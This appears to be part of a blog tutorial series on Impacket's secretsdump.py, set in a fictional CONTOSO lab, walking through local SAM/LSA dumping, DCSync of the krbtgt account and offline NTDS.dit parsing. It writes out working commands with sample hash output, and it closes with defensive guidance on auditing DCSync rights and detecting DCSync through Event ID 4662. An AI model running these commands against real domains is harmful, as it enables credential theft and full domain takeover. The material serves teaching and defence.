Impacket Deep Dive Part 7: secretsdump.py, SAM, LSA, and DCSync
Part 6 got a shell on FS01 as CONTOSO\svc-backup — a member of Backup Operators, per Part 4’s GetUserSPNs.py output. This post is where that specific group membership stops being a footnote and becomes the whole story: secretsdump.py is Impacket’s credential-extraction tool, and depending on what’s reachable from a given foothold, it can walk all the way from “one server’s local password hashes” to “every credential in the domain,” without ever dropping an agent on anything.
What secretsdump.py actually reaches into
secretsdump.py isn’t one technique, it’s several, selected automatically based on what the target and credentials allow — the --help output makes the breadth visible immediately:
usage: secretsdump.py [-h] [-ts] [-debug] [-system SYSTEM] [-bootkey BOOTKEY]
[-security SECURITY] [-sam SAM] [-ntds NTDS]
...
[-just-dc-user USERNAME] [-ldapfilter LDAPFILTER]
[-just-dc] [-just-dc-ntlm] [-skip-user SKIP_USER]
[-pwd-last-set] [-user-status] [-history]
...
target
Performs various techniques to dump secrets from the remote machine without
executing any agent there.Three of those techniques matter most in practice, and they operate at three different scopes.
Local: SAM and LSA secrets on FS01
Every Windows machine, member server or workstation, keeps a local Security Account Manager (SAM) database with local account password hashes, and a set of LSA secrets — service account passwords stored so a Windows service can log on automatically, cached domain credentials from previous interactive logons, and similar machine-local secrets. Reading these normally requires local Administrator, which svc-backup’s Backup Operators membership provides a path to independent of standard admin rights (Backup Operators can read essentially any file on disk via backup privilege, including the registry hives these secrets live in):
$ secretsdump.py CONTOSO/svc-backup:'B4ckup$SQL2024'@10.10.30.20
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xa1b2c3d4e5f60718293a4b5c6d7e8f90
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
CONTOSO.LOCAL/a.oyelaran:$DCC2$10240#a.oyelaran#7d3f8a...
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
CONTOSO\FS01$:plain_password_hex:...
[*] DPAPI_SYSTEM
dpapi_machinekey:...
[*] NL$KM
0x0000 b3 91 4f...FS01$’s own machine account credential is arguably the most useful line in that output — machine accounts can authenticate to Kerberos, request their own service tickets, and are frequently used as pivot identities in the later stages of an assessment, all without triggering the “a human logged in somewhere odd” pattern that a compromised user credential does.
Reaching for everything: DCSync
The technique that matters most sits behind -just-dc and -just-dc-user, and it works entirely differently from the local dumps above: rather than reading anything off disk, it abuses the Directory Replication Service Remote Protocol (MS-DRSR) — the same interface rpcdump.py showed listening, unauthenticated, on DC01 back in Part 2 — to ask a domain controller to replicate password data to the caller, exactly as it would to a legitimate peer DC. The only requirement is that the calling account holds the right permissions, most commonly Replicating Directory Changes and Replicating Directory Changes All — rights that are granted by default to Domain Admins, Enterprise Admins, and domain controllers themselves, but which are sometimes delegated more broadly than intended to service accounts managing backup, sync, or identity-federation tooling.
$ secretsdump.py CONTOSO/svc-backup:'B4ckup$SQL2024'@10.10.30.10 -just-dc-user krbtgt
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:2f9d8c1a...That single account, krbtgt, is the entire subject of Part 8 — its NT hash is what signs every Kerberos ticket in the domain, and DCSync-ing it is how a real intrusion moves from “compromised one account” to “can forge a ticket for any account, forever, until it’s rotated.” Dropping -just-dc-user and using bare -just-dc instead pulls this for every account in the domain, in one pass — genuinely, without exaggeration, “the entire domain’s password material,” which is the phrase this post opened with.
This is a privileged operation, not a universal one. svc-backup in the transcript above only succeeds because Backup Operators membership plus its actual configured permissions in this lab happen to include the DRS replication rights — it’s the specific, realistic misconfiguration this series has been building toward since Part 2, not a default state of every domain. On a domain where DCSync rights are correctly restricted to Domain Admins and the built-in DC computer accounts, this exact command from this exact account fails with an access-denied error. It’s the single most consequential permission audit in this entire series for exactly that reason.
Offline: parsing files that already exist
The same tool works entirely offline against files already exfiltrated by other means — a NTDS.dit copy pulled via a volume shadow copy, or SYSTEM/SAM/SECURITY hive backups sitting on a file share svc-backup’s role legitimately has access to:
$ secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xa1b2c3d4e5f60718293a4b5c6d7e8f90
[*] Using the DRSUAPI method to get NTDS.DIT secrets
...The LOCAL target keyword tells secretsdump.py there’s no network target at all — everything it needs is already on disk. This is exactly the scenario a backup system, of all things, is designed to make easy: a well-meaning nightly backup job that includes a domain controller’s system state, landing on a file share that a backup operations account (like svc-backup) can read, is a realistic and common way this data ends up reachable without DCSync rights ever entering the picture.
Defensive notes
Audit who actually holds DCSync rights, on a schedule, not just at domain creation. Get-ADObject queries against the domain root object’s ACL for Replicating Directory Changes All (extended right GUID 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) should return only Domain Admins, Enterprise Admins, and the domain controllers themselves. Anything else — a backup tool’s service account, an identity sync tool like Azure AD Connect (which legitimately needs this and is a common, intended exception), a forgotten one-time grant — is worth a hard look at whether it’s still needed.
Detect DCSync directly, it has a specific signature. Event ID 4662 (An operation was performed on an object) with the object type set to the domain’s NC (naming context) and the Properties field containing the Replicating Directory Changes or Replicating Directory Changes All GUIDs, generated by an account that isn’t a known domain controller, is close to a direct DCSync signature — Microsoft Defender for Identity ships this detection specifically because there’s very little legitimate reason for it to fire from anywhere else.
Restrict and monitor Backup Operators membership as tightly as Domain Admins. The group’s ability to bypass file-level ACLs for backup/restore is, in practice, a path to reading almost any credential material on a box it can log into — treat membership changes to this group with the same change-control rigor as Domain Admins, not as a lesser, operational group.
Protect NTDS.dit and system-state backups like the crown jewels they are. Encrypt backup shares, restrict read access to a small, audited set of accounts, and — this is the direct fix for the LOCAL scenario above — never let a service account whose real job is “back up file servers” also have read access to domain-controller system-state backups unless that’s a deliberate, documented requirement.
Next: Part 8, where the krbtgt hash pulled above stops being just another credential and becomes the key to forging a Kerberos ticket for any account in the domain, on demand, indefinitely.